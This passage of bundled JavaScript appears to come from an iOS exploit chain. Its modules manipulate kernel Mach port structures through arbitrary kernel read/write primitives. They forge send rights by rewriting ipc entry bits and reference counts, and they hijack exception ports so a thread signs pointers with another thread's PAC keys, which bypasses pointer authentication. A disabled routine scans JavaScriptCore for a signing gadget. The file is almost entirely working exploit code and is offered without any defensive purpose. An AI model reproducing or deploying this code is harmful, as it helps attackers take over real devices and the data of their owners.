/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js");
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
/* harmony import */ var _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ExceptionMessageStruct */ "./src/libs/TaskRop/ExceptionMessageStruct.js");
/* harmony import */ var _ExceptionReplyStruct__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./ExceptionReplyStruct */ "./src/libs/TaskRop/ExceptionReplyStruct.js");
/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js");
const TAG = "EXCEPTION";
const MPO_INSERT_SEND_RIGHT = 0x10;
const MPO_PROVISIONAL_ID_PROT_OPTOUT = 0x8000;
const MACH_SEND_MSG = 0x00000001n;
const MACH_RCV_MSG = 0x00000002n;
const MACH_SEND_TIMEOUT = 0x00000010n;
const MACH_RCV_TIMEOUT = 0x00000100n;
const MACH_MSG_TYPE_MOVE_SEND_ONCE = 18;
class Exception
{
static ExceptionMessageSize = 0x160n;
static ExceptionReplySize = 0x13cn;
static createPort()
{
let options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem;
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
view.setUint32(0, MPO_INSERT_SEND_RIGHT | MPO_PROVISIONAL_ID_PROT_OPTOUT, true);
view.setUint32(4, 0, true);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer);
let exceptionPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n;
let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct",0x203, options, 0n, exceptionPortPtr);
if (kr != 0)
{
console.log(TAG,`Error creating exception port:${kr}`);
return 0;
}
let port = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(exceptionPortPtr);
return BigInt(port);
}
static waitException(exceptionPort, excBuffer, timeout, debug)
{
let t1 = new Date().getTime();
if (debug)
console.log(TAG,`Waiting exception...`);
let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg",
excBuffer,
MACH_RCV_MSG | MACH_RCV_TIMEOUT,
0, this.ExceptionMessageSize,
exceptionPort,
timeout,
0);
if (ret != 0)
{
let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string",ret);
errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString);
//console.log(TAG,`Error receiving exception message:${errString}`);
return false;
}
if (debug)
{
let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(excBuffer,Number(this.ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_2__["default"](excRes);
let elapsed = new Date().getTime() - t1;
//console.log(TAG,`Got exception succesfully after ${elapsed} ms with [id:${exc.Head.msgh_id}, exc=${exc.exception}, code=${Utils.hex(exc.codeFirst)}]`);
//console.log(TAG,`PC:${Utils.hex(exc.threadState.opaque_pc)}`);
//console.log(TAG,`LR:${Utils.hex(exc.threadState.opaque_lr)}`);
//console.log(TAG,`SP:${Utils.hex(exc.threadState.opaque_sp)}`);
//console.log(TAG,`FP:${Utils.hex(exc.threadState.opaque_fp)}`);
//for(let i = 0; i < 29; i++)
// console.log(TAG,`x[${i}]:${Utils.hex(exc.threadState.registers.get(i))}`);
}
return true;
}
static replyWithState(exc,state,debug)
{
let replyBuf = new ArrayBuffer(Number(this.ExceptionReplySize));
let reply = new _ExceptionReplyStruct__WEBPACK_IMPORTED_MODULE_3__["default"](replyBuf);
let sendSize = Number(this.ExceptionReplySize);
let recvSize = 0n;
if(debug)
{
console.log(TAG,`Reply with state:`);
console.log(TAG,`PC:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_pc)}`);
console.log(TAG,`LR:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_lr)}`);
console.log(TAG,`SP:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_sp)}`);
console.log(TAG,`FP:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_fp)}`);
}
reply.Head.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_4__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_MOVE_SEND_ONCE, 0);
reply.Head.msgh_size = sendSize;
reply.Head.msgh_remote_port = exc.Head.msgh_remote_port;
reply.Head.msgh_local_port = 0;
reply.Head.msgh_id = exc.Head.msgh_id + 100;
reply.NDR = exc.NDR;
reply.RetCode = 0;
reply.flavor = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64;
reply.new_stateCnt = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT;
//TODO make it inside ThreadState to copy thread state to another variable
for(let i = 0; i < 29; i++)
{
reply.threadState.registers.set(i,state.registers.get(i));
}
reply.threadState.opaque_fp = state.opaque_fp;
reply.threadState.opaque_lr = state.opaque_lr;
reply.threadState.opaque_sp = state.opaque_sp;
reply.threadState.opaque_pc = state.opaque_pc;
reply.threadState.cspr = state.cspr;
reply.threadState.opaque_flags = state.opaque_flags;
let replyMem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(replyMem,replyBuf);
if(debug)
libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].printArrayBufferInChunks(replyBuf);
let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg",
replyMem,
MACH_SEND_MSG,
sendSize, recvSize,
0n,
0n,
0n);
if (ret != 0)
console.log(TAG,`Error replying exception:${libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string",ret)}`);
}
}
/***/ }),
/***/ "./src/libs/TaskRop/ExceptionMessageStruct.js":
/*!****************************************************!*\
!*** ./src/libs/TaskRop/ExceptionMessageStruct.js ***!
\****************************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ ExceptionMessageStruct)
/* harmony export */ });
/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js");
/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js");
class ExceptionMessageStruct
{
#buffer;
#dataView;
constructor(buffer) {
this.#buffer = buffer;
this.#dataView = new DataView(this.#buffer);
this.Head = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__["default"](this.#buffer);
this.threadState = new _ThreadState__WEBPACK_IMPORTED_MODULE_1__["default"](this.#buffer,64);
}
get NDR() { return this.#dataView.getBigUint64(24,true); }
set NDR(value) { this.#dataView.setBigUint64(24,value,true); }
get exception() { return this.#dataView.getUint32(32,true); }
set exception(value) { this.#dataView.setUint32(32,value,true); }
get codeCnt() { return this.#dataView.getUint32(36,true); }
set codeCnt(value) { this.#dataView.setUint32(36,value,true); }
get codeFirst() { return this.#dataView.getBigUint64(40,true); }
set codeFirst(value) { this.#dataView.setBigUint64(40,value,true); }
get codeSecond() { return this.#dataView.getBigUint64(48,true); }
set codeSecond(value) { this.#dataView.setBigUint64(48,value,true); }
get flavor() { return this.#dataView.getUint32(56,true); }
set flavor(value) { this.#dataView.setUint32(56,value,true); }
get old_stateCnt() { return this.#dataView.getUint32(60,true); }
set old_stateCnt(value) { this.#dataView.setUint32(60,value,true); }
get paddingFirst() { return this.#dataView.getBigUint64(336,true); }
set paddingFirst(value) { this.#dataView.setBigUint64(336,value,true); }
get paddingSecond() { return this.#dataView.getBigUint64(344,true); }
set paddingSecond(value) { this.#dataView.setBigUint64(344,value,true); }
}
/***/ }),
/***/ "./src/libs/TaskRop/ExceptionReplyStruct.js":
/*!**************************************************!*\
!*** ./src/libs/TaskRop/ExceptionReplyStruct.js ***!
\**************************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ ExceptionReplyStruct)
/* harmony export */ });
/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js");
/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js");
class ExceptionReplyStruct
{
#buffer;
#dataView;
constructor(buffer) {
this.#buffer = buffer;
this.#dataView = new DataView(this.#buffer);
this.Head = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__["default"](this.#buffer);
this.threadState = new _ThreadState__WEBPACK_IMPORTED_MODULE_1__["default"](this.#buffer,44);
}
get NDR() { return this.#dataView.getBigUint64(24,true); }
set NDR(value) { this.#dataView.setBigUint64(24,value,true); }
get RetCode() { return this.#dataView.getUint32(32,true); }
set RetCode(value) { this.#dataView.setUint32(32,value,true); }
get flavor() { return this.#dataView.getUint32(36,true); }
set flavor(value) { this.#dataView.setUint32(36,value,true); }
get new_stateCnt() { return this.#dataView.getUint32(40,true); }
set new_stateCnt(value) { this.#dataView.setUint32(40,value,true); }
}
/***/ }),
/***/ "./src/libs/TaskRop/MachMsgHeaderStruct.js":
/*!*************************************************!*\
!*** ./src/libs/TaskRop/MachMsgHeaderStruct.js ***!
\*************************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ MachMsgHeaderStruct)
/* harmony export */ });
class MachMsgHeaderStruct
{
#dataView;
constructor(buffer, offset = 0) {
this.#dataView = new DataView(buffer,offset);
}
get msgh_bits() { return this.#dataView.getUint32(0,true); }
set msgh_bits(value) { this.#dataView.setUint32(0,value,true); }
get msgh_size() { return this.#dataView.getUint32(4,true); }
set msgh_size(value) { this.#dataView.setUint32(4,value,true); }
get msgh_remote_port() { return this.#dataView.getUint32(8,true); }
set msgh_remote_port(value) { this.#dataView.setUint32(8,value,true); }
get msgh_local_port() { return this.#dataView.getUint32(12,true); }
set msgh_local_port(value) { this.#dataView.setUint32(12,value,true); }
get msgh_voucher_port() { return this.#dataView.getUint32(16,true); }
set msgh_voucher_port(value) { this.#dataView.setUint32(16,value,true); }
get msgh_id() { return this.#dataView.getUint32(20,true); }
set msgh_id(value) { this.#dataView.setUint32(20,value,true); }
static MACH_MSGH_BITS(remote, local)
{
return ((remote) | ((local) << 8));
}
}
/***/ }),
/***/ "./src/libs/TaskRop/PAC.js":
/*!*********************************!*\
!*** ./src/libs/TaskRop/PAC.js ***!
\*********************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ PAC)
/* harmony export */ });
//import Chain from "libs/Chain/Chain";
//import Native from "libs/JSUtils/Native";
//import Utils from "libs/JSUtils/Utils";
//import Exception from "./Exception";
//import Task from "./Task";
//import Thread from "./Thread";
//import ThreadState from "./ThreadState";
//import ExceptionMessageStruct from "./ExceptionMessageStruct";
//import Offsets from "Driver/Offsets";
const TAG = "PAC";
class PAC
{
static gadget_pacia;
static {
//this.#findGadgets();
}
static remotePACLocal(address, modifier)
{
address = address & 0x7fffffffffn;
//console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`);
let signedAddress = pacia(address, BigInt(modifier));
//console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`);
return signedAddress;
}
static remotePAC(threadAddr, address, modifier)
{
return Native.pacia(address, modifier);
//return this.remotePACLocal(address, modifier);
/*
if (!this.gadget_pacia)
{
console.log(TAG,`Doesn't have gadget_pacia, aborting`);
return 0;
}
address = address & 0x7fffffffffn;
let signedAddress = 0n;
// Get PAC keys of remote thread
let keyA = Thread.getRopPid(threadAddr);
let keyB = Thread.getJopPid(threadAddr);
//console.log(TAG,`Key A:${Utils.hex(keyA)}`);
//console.log(TAG,`Key B:${Utils.hex(keyB)}`);
let kr = 0;
let pacThread = Native.mem;
Native.callSymbol("thread_create", 0x203, pacThread);
let buffRes = Native.read(pacThread, Utils.UINT32_SIZE);
let viewRes = new DataView(buffRes);
pacThread = viewRes.getUint32(0,true);
//console.log(TAG,`pacThread:${Utils.hex(pacThread)}`);
let stack = Native.callSymbol("malloc",0x4000n);
let sp = stack + 0x2000n;
let stateBuff = new ArrayBuffer(Utils.ARM_THREAD_STATE64_SIZE);
let state = new ThreadState(stateBuff);
state.opaque_sp = sp;
//arm_thread_state64_set_pc_fptr(state, (void*)gadget_pacia);
let outputBuffer = Native.mem;
//console.log(TAG,`Before pacia`);
if(pacia)
state.opaque_pc = pacia(this.gadget_pacia,Utils.ptrauth_string_discriminator("pc"));
else
state.opaque_pc = Native.callSymbol("pacia",this.gadget_pacia,Utils.ptrauth_string_discriminator("pc"),Utils.ptrauth_key_asia);
const buildVer = Offsets.getBuildVersion();
if(buildVer && buildVer.startsWith("22"))
{
//console.log(TAG, "Applying 18 fix");
//state.opaque_lr = 0x401n;
state.opaque_lr = pacia(0x401n,Utils.ptrauth_string_discriminator("lr"));
}
//console.log(TAG,`After pacia with pc:${state.opaque_pc}`);
//state.opaque_pc = Native.callSymbol("pacia",this.gadget_pacia,Utils.ptrauth_string_discriminator("pc"),Utils.ptrauth_key_asia);
state.registers.set(0,outputBuffer);
state.registers.set(1,BigInt(address));
state.registers.set(2,BigInt(modifier));
state.registers.set(3,BigInt(pacThread));
state.registers.set(16,BigInt(address));
state.registers.set(17,BigInt(modifier));
let exceptionPort = Exception.createPort();
if (!exceptionPort)
{
console.log(TAG,`Cannot create exception port`);
this.#cleanup(pacThread,exceptionPort,stack);
return 0n;
}
//console.log(TAG,`Exception port:${Utils.hex(exceptionPort)}`);
kr = Native.callSymbol("thread_set_exception_ports",
pacThread,
Utils.EXC_MASK_BAD_ACCESS,
exceptionPort,
Utils.EXCEPTION_STATE | Utils.MACH_EXCEPTION_CODES,
BigInt(Utils.ARM_THREAD_STATE64));
if (kr != 0)
{
console.log(`thread_set_exception_ports failed:${kr}`);
this.#cleanup(pacThread,exceptionPort,stack);
return 0n;
}
let pacThreadAddr = Task.getPortKObject(BigInt(pacThread));
//console.log(TAG,`PAC thread address:${Utils.hex(pacThreadAddr)}`);
if (!this.#setThreadState(pacThread, pacThreadAddr, stateBuff))
{
console.log(TAG,`Failed to set thread state`);
this.#cleanup(pacThread,exceptionPort,stack);
return 0n;
}
// Change pacThread PAC keys with those of remote thread
Thread.setPACKeys(pacThreadAddr, keyA, keyB);
//console.log(TAG,`Starting PAC thread...`);
Native.callSymbol("thread_resume",pacThread);
let excBuffer = Native.mem;
if (!Exception.waitException(exceptionPort, excBuffer, 100, false))
{
console.log(TAG,`Failed to receive exception from PAC thread`);
this.#cleanup(pacThread,exceptionPort,stack);
return 0n;
}
let excRes = Native.read(excBuffer,Number(Exception.ExceptionMessageSize));
let exc = new ExceptionMessageStruct(excRes);
signedAddress = exc.threadState.registers.get(16);
//console.log(TAG,`Signed address: ${Utils.hex(address)} -> signedAddress:${Utils.hex(signedAddress)}`);
this.#cleanup(pacThread, exceptionPort, stack);
return signedAddress;
*/
}
/*
static #findGadgets()
{
let sym = Native.dlsym("_ZNK3JSC13JSArrayBuffer8isSharedEv");
if (!sym)
{
console.log(TAG,`Symbol not found`);
return false;
}
let symStripped = sym & ~0xffffff8000000000n;
let gadgetOpcodesBuff = new ArrayBuffer(20);
let gadgetOpcodesView = new DataView(gadgetOpcodesBuff);
gadgetOpcodesView.setUint32(0,0xDAC10230,true);
gadgetOpcodesView.setUint32(4,0x9A9003E8,true);
gadgetOpcodesView.setUint32(8,0xF100011F,true);
gadgetOpcodesView.setUint32(12,0x1A9F07E0,true);
gadgetOpcodesView.setUint32(16,0xD65F03C0,true);
let data = Native.read(symStripped,0x1000);
let gadgetOffset = Utils.memmem(data,gadgetOpcodesBuff);
if (!gadgetOffset)
{
console.log(TAG,`pacia_gadget offset not found`);
return false;
}
this.gadget_pacia = symStripped + BigInt(gadgetOffset);
console.log(TAG,`Gadgets found: pacia=${Utils.hex(this.gadget_pacia)}`);
return true;
}
static #setThreadState(thread,threadAddr,stateBuff)
{
let options = Thread.getOptions(threadAddr);
options |= 0x8000;
Thread.setOptions(threadAddr, options);
let stateMem = Native.mem;
Native.write(stateMem,stateBuff);
//console.log(TAG,`thread:${Utils.hex(thread)}`);
let kr = Native.callSymbol("thread_set_state",
thread,
BigInt(Utils.ARM_THREAD_STATE64),
stateMem,
BigInt(Utils.ARM_THREAD_STATE64_COUNT));
if (kr != 0)
{
console.log(TAG,`Failed thread_set_state with error:${kr}`);
return false;
}
options &= ~0x8000;
Thread.setOptions(threadAddr, options);
return true;
}
static #cleanup(pacThread,exceptionPort,stack)
{
Native.callSymbol("thread_terminate",pacThread);
Native.callSymbol("mach_port_destruct",0x203, exceptionPort, 0n, 0n);
Native.callSymbol("free",stack);
}
*/
}
/***/ }),
/***/ "./src/libs/TaskRop/PortRightInserter.js":
/*!***********************************************!*\
!*** ./src/libs/TaskRop/PortRightInserter.js ***!
\***********************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ PortRightInserter)
/* harmony export */ });
/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js");
/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js");
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js");
/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js");
const TAG = "PORTRIGHTINSERTER";
const TASK_SELF = 0x203;
const MACH_PORT_NULL = 0;
const MACH_PORT_TYPE_SEND = 0x10000;
const MACH_PORT_TYPE_DEAD_NAME = 0x100000;
const MACH_SEND_MSG = 0x00000001n;
const MACH_RCV_MSG = 0x00000002n;
const MACH_SEND_TIMEOUT = 0x00000010n;
const MACH_RCV_TIMEOUT = 0x00000100n;
const MACH_MSG_TYPE_COPY_SEND = 19;
const MACH_MSG_TYPE_MAKE_SEND = 20;
const MACH_MSG_TYPE_MAKE_SEND_ONCE = 21;
const MACH_MSGH_BITS_COMPLEX = 0x80000000;
const MACH_MSG_PORT_DESCRIPTOR = 0;
const MPO_INSERT_SEND_RIGHT = 0x10;
const MPO_PROVISIONAL_ID_PROT_OPTOUT = 0x8000;
const IO_BITS_KOLABEL = 0x00000400;
const IE_BITS_TYPE_MASK = 0x001f0000;
class PortRightInserter {
static insert(portKaddr) {
const p = this.#newPort();
//console.log(TAG, "New port: " + Utils.hex(p));
const pAddr = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getPortAddr(BigInt(p));
//console.log(TAG, "New port addr: " + Utils.hex(pAddr));
if (!pAddr)
return 0;
//this.#dumpPort(portKaddr);
//this.#dumpPort(pAddr);
const backupBits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(portKaddr);
//console.log(TAG, "Port io bits: " + Utils.hex(backupBits));
const needsFixBits = (backupBits & IO_BITS_KOLABEL);
if (needsFixBits) {
const newBits = backupBits & ~IO_BITS_KOLABEL;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(portKaddr, newBits);
}
this.#fixRefCounts(portKaddr, 1);
//console.log(TAG, "Fix Ok");
//this.#dumpPort(portKaddr);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write64(pAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipNsRequest, portKaddr);
//this.#dumpPort(pAddr);
let previous = this.#notifyNoSenders(p, MACH_PORT_NULL);
//console.log(TAG, "Previous right: " + Utils.hex(previous));
// Change the port rights from send once to send.
this.#switchToSendRight(previous);
//this.#fixRefCounts(portKaddr, -1, false);
// We have a send right to the port, but it's not in our space's hash.
// We send the port, then kill the entry. We'll properly receive it afterwards.
let msgBuff = new ArrayBuffer(40);
let msgHeader = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__["default"](msgBuff);
msgHeader.msgh_id = 0x4141;
msgHeader.msgh_remote_port = p;
msgHeader.msgh_local_port = p;
msgHeader.msgh_size = msgBuff.byteLength;
msgHeader.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_MAKE_SEND);
msgHeader.msgh_bits |= MACH_MSGH_BITS_COMPLEX; // we send a port descriptor
let msgBody = new DataView(msgBuff, 24);
msgBody.setInt32(0, 1, true); // msgh_descriptor_count
msgBody.setUint32(4, previous, true); // name
msgBody.setUint8(14, MACH_MSG_TYPE_COPY_SEND); // disposition
msgBody.setUint8(15, MACH_MSG_PORT_DESCRIPTOR); // type
//let wMsg64 = new BigUint64Array(msgBuff);
//for (let i=0; i<5; i++)
// console.log(TAG, `${i}: ${Utils.hex(wMsg64[i]).padStart(16, '0')}`);
let msgMem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(msgMem, msgBuff);
let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg",
msgMem,
MACH_SEND_MSG,
msgBuff.byteLength, 0,
p,
0,
0);
//console.log(TAG, "mach_msg: " + ret);
//Native.callSymbol("sleep", 1);
if (ret != 0) {
let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string", ret);
errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString);
console.log(TAG, `Error sending message: ${errString}`);
return 0;
}
//console.log(TAG, "mach_msg send: " + ret);
this.#killRight(previous);
ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg",
msgMem,
MACH_RCV_MSG | MACH_RCV_TIMEOUT,
0, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].memSize,
p,
1000,
0);
if (ret != 0)
{
let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string", ret);
errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString);
console.log(TAG, `Error receiving message: ${errString}`);
return 0;
}
//console.log(TAG, "mach_msg recv: " + ret);
//Native.callSymbol("sleep", 1);
let rMsg = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(msgMem, 40);
//let rMsg64 = new BigUint64Array(rMsg);
//for (let i=0; i<5; i++)
// console.log(TAG, `${i}: ${Utils.hex(rMsg64[i]).padStart(16, '0')}`);
msgBody = new DataView(rMsg, 24);
previous = msgBody.getUint32(4, true);
//console.log(TAG, "previous: " + Utils.hex(previous));
this.#fixRefCounts(portKaddr, -1);
//this.#dumpPort(portKaddr);
return previous;
}
static #newPort() {
const options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem;
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
view.setUint32(0, MPO_INSERT_SEND_RIGHT, true);
view.setUint32(4, 0, true);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer);
const newPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n;
let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct", TASK_SELF, options, 0n, newPortPtr);
if (kr != 0) {
console.log(TAG, `Error creating port: ${kr}`);
return MACH_PORT_NULL;
}
return libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(newPortPtr);
}
static #switchToSendRight(port) {
const entry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getRightAddr(BigInt(port));
//console.log(TAG, "entry: " + Utils.hex(entry));
//this.#dumpEntry(entry);
let bits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(entry + 0x8n);
//console.log(TAG, "entry bits: " + Utils.hex(bits));
bits = (bits & ~IE_BITS_TYPE_MASK) | MACH_PORT_TYPE_SEND;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(entry + 0x8n, bits);
//this.#dumpEntry(entry);
}
static #killRight(port) {
const entry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getRightAddr(BigInt(port));
//console.log(TAG, "entry: " + Utils.hex(entry));
//this.#dumpEntry(entry);
let bits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(entry + 0x8n);
//console.log(TAG, "entry bits: " + Utils.hex(bits));
bits = (bits & ~IE_BITS_TYPE_MASK) | MACH_PORT_TYPE_DEAD_NAME;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write64(entry, 0n);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(entry + 0x8n, bits);
//this.#dumpEntry(entry);
}
static #fixRefCounts(portAddr, diff, updateRefs=true, updateSonce=true) {
// Due to krw limitation, we cannot write at offset +132 of a 144 bytes struct,
// since krw would write in chunks of 32 bytes and so would cause a memory overflow (panic).
// So we read all the 144 bytes struct, changes values and then write it again as a whole.
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(portAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144);
let ipcPort = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144);
let ipcPortView = new DataView(ipcPort);
let refs = ipcPortView.getUint32(0x4, true);
let sonce = ipcPortView.getUint32(Number(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipSorights), true);
//console.log(TAG, "refs: " + refs);
//console.log(TAG, "sonce: " + sonce);
refs += diff;
sonce += diff;
if (updateRefs) {
//console.log(TAG, "new refs: " + refs);
ipcPortView.setUint32(0x4, refs, true);
}
if (updateSonce) {
//console.log(TAG, "new sonce: " + sonce);
ipcPortView.setUint32(Number(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipSorights), sonce, true);
}
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, ipcPort);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].writeZoneElement(portAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144);
}
static #notifyNoSenders(port, notifyPort) {
const MACH_NOTIFY_NO_SENDERS = 0o106;
const previousPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem;
const kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_request_notification",
TASK_SELF,
port,
MACH_NOTIFY_NO_SENDERS,
0,
notifyPort,
MACH_MSG_TYPE_MAKE_SEND_ONCE,
previousPtr);
//console.log(TAG, "mach_port_request_notification: " + kr);
if (kr != 0)
return MACH_PORT_NULL;
return libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(previousPtr);
}
static #dumpPort(pAddr) {
console.log(TAG, "dump port: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(pAddr));
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(pAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 0x90);
let buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 0x90);
let buff64 = new BigUint64Array(buff);
for (let i=0; i<0x12; i++)
console.log(TAG, `${i}: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(buff64[i]).padStart(16, '0')}`);
}
